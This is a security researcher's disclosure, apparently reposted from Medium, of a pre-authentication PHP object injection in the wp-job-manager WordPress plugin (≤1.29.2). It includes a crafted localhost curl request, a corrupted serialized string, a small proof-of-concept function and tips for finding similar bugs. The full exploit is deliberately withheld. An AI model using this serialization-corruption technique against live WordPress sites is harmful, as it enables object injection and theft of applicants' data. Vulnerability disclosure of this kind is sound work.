• https://blog.ripstech.com/2018/woocommerce-php-object-injection/
• 1.29.3 Fix: When retrieving job listing results, cache only the post results and not all of WP_Query (@jom; props slavco) https://wordpress.org/plugins/wp-job-manager/#developers

Here I’ll explain the PHP object injection that was introduced in wp-job-manager quite popular WP plugin with 100k active installs holding valuable data on the server side as resumes from candidates that apply for certain job.

The issue

In the wp-job-manager-functions.php function get_job_listings we have the following:

$cached_query = true;

if ( false === ( $result = get_transient( $query_args_hash ) ) ) {

$result = new WP_Query( $query_args );

$cached_query = false;

set_transient( $query_args_hash, $result, DAY_IN_SECONDS );

}

e.g. it will create hash from user $_REQUEST input, will create the WP_Query object and will cache it in the database. But as we know from the warning if you serialize data structure that holds esc_sql value in it, when inserted into DB will result with damaged serialized string, but also if attacker careful crafts its payload, it will result with Object Injection e.g. unserialize of user supplied data!

More details

If we visit jobs listing / search page and use it, the following request will be issued:

curl 'http://localhost/wpm/wrt/index.php/jm-ajax/get_listings/' -H 'Cookie: wordpress_test_cookie=WP+Cookie+check' -H 'Origin: http://localhost' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: en-US,en;q=0.8' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'Accept: */*' -H 'Referer: http://localhost/wpm/wrt/index.php/jobs/' -H 'X-Requested-With: XMLHttpRequest' -H 'Connection: keep-alive' --data 'lang=&search_keywords=attack%25%25%25keyword&search_location=test+location&filter_job_type%5B%5D=freelance&filter_job_type%5B%5D=full-time&filter_job_type%5B%5D=internship&filter_job_type%5B%5D=part-time&filter_job_type%5B%5D=temporary&filter_job_type%5B%5D=&per_page=10&orderby=featured&order=DESC&page=1&show_pagination=false&form_data=search_keywords%3Dattack%2525%2525%2525keyword%26search_location%3Dtest%2Blocation%26filter_job_type%255B%255D%3Dfreelance%26filter_job_type%255B%255D%3Dfull-time%26filter_job_type%255B%255D%3Dinternship%26filter_job_type%255B%255D%3Dpart-time%26filter_job_type%255B%255D%3Dtemporary%26filter_job_type%255B%255D%3D' --compressed

as you can notice from the request I have set up attack%%%keyword as keyword and test location as location. This results with transient in the DB (it is in the options table) and there we have the serialized WP_Query object. If we inspect the serialized object we will notice the following:

...s:376:"wp_posts.post_title LIKE '%attack\\%\\%\\%keyword%'";}}s:9:"tax_query";O:12:"WP_Tax_Query":6:{s:7:"queries";a:0:{}s:8:"relation";s:3:"AND";s:16:"�*�table_aliases";a:0:{}s:13:"queried_terms";a:0:{}s:13:"primary_table";s:8:"wp_posts";s:17:"primary_id_column";s:2:"ID";}s:10:"meta_query";O:13:"WP_Meta_Query":9:{s:7:"queries";a:2:{i:0;a:4:{i:0;a:3:{s:3:"key";s:29:"geolocation_formatted_address";s:5:"value";s:13:"test location";...

As you can notice s:376:"... there are not 376 characters between " and PHP will continue to count towards 376 and will stop looking for " character, but also you can notice that after this serialized property there is another serialized property that says s:13:”test location” e.g. this is the place where we can craft out payload and to make this damaged serialized object into “good” serialized object that will fulfill attackers needs.

Exploit

At the moment I can see from the stats that update process is more than bad on the wp-job-manager plugin and instead to dump here full working exploit I’ll referrer towards this PoC code:

function goatgoat(){

global $wpdb;

$arr = array(
"o\"ne",
"%two",
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxtr1\";i:2;s:1:\"!\";}"
);

$arr = esc_sql($arr);

$arr = wp_unslash($arr);

$payload = $wpdb->remove_placeholder_escape(maybe_serialize($arr));

echo "<pre>";
print_r(unserialize($payload));
exit;

}
add_action("init", "goatgoat");

What is the attack surface?

Attack surface is quite huge because unknown attacker could attack:

• Underling PHP version via unserialize exploit
• To look for POI gadget chain that will allow RCE, SQLi, XSS!
• Recreation of serializedWP_Query object that will hold XSS payload in it!
• Maybe there is default SSRF in the WP core somewhere, m?

Advice

Share this information in order this information to reach the owners of WP instances where this plugin is applied due the nature of data they hold on their server side in order to update the plugin ASAP.

Finding vulnerabilities like this one

You can find vulnerability like this one with simple static analysis of source code against some WP plugin / theme:

• look for set_transcient function
• If data structure (array or object) is saved there you are step close to find POI in the plugin
• If data structure holds esc_sql value in it and there is another user input after it, there you are, report security issue!

You are welcome

I would like to give credits towards wp-job-manager development team! They have solved the issue quite fast and rewarded me a bounty on the h1 (report will become public in few days).

Promo

If you are wp developer or wp host provider or wp security product provider with valuable list of clients, we offer subscription list and we are exceptional (B2B only).

wp-job-manager ≤ 1.29.2 preauth POI / unserialize of user supplied data was originally published in websec on Medium, where people are continuing the conversation by highlighting and responding to this story.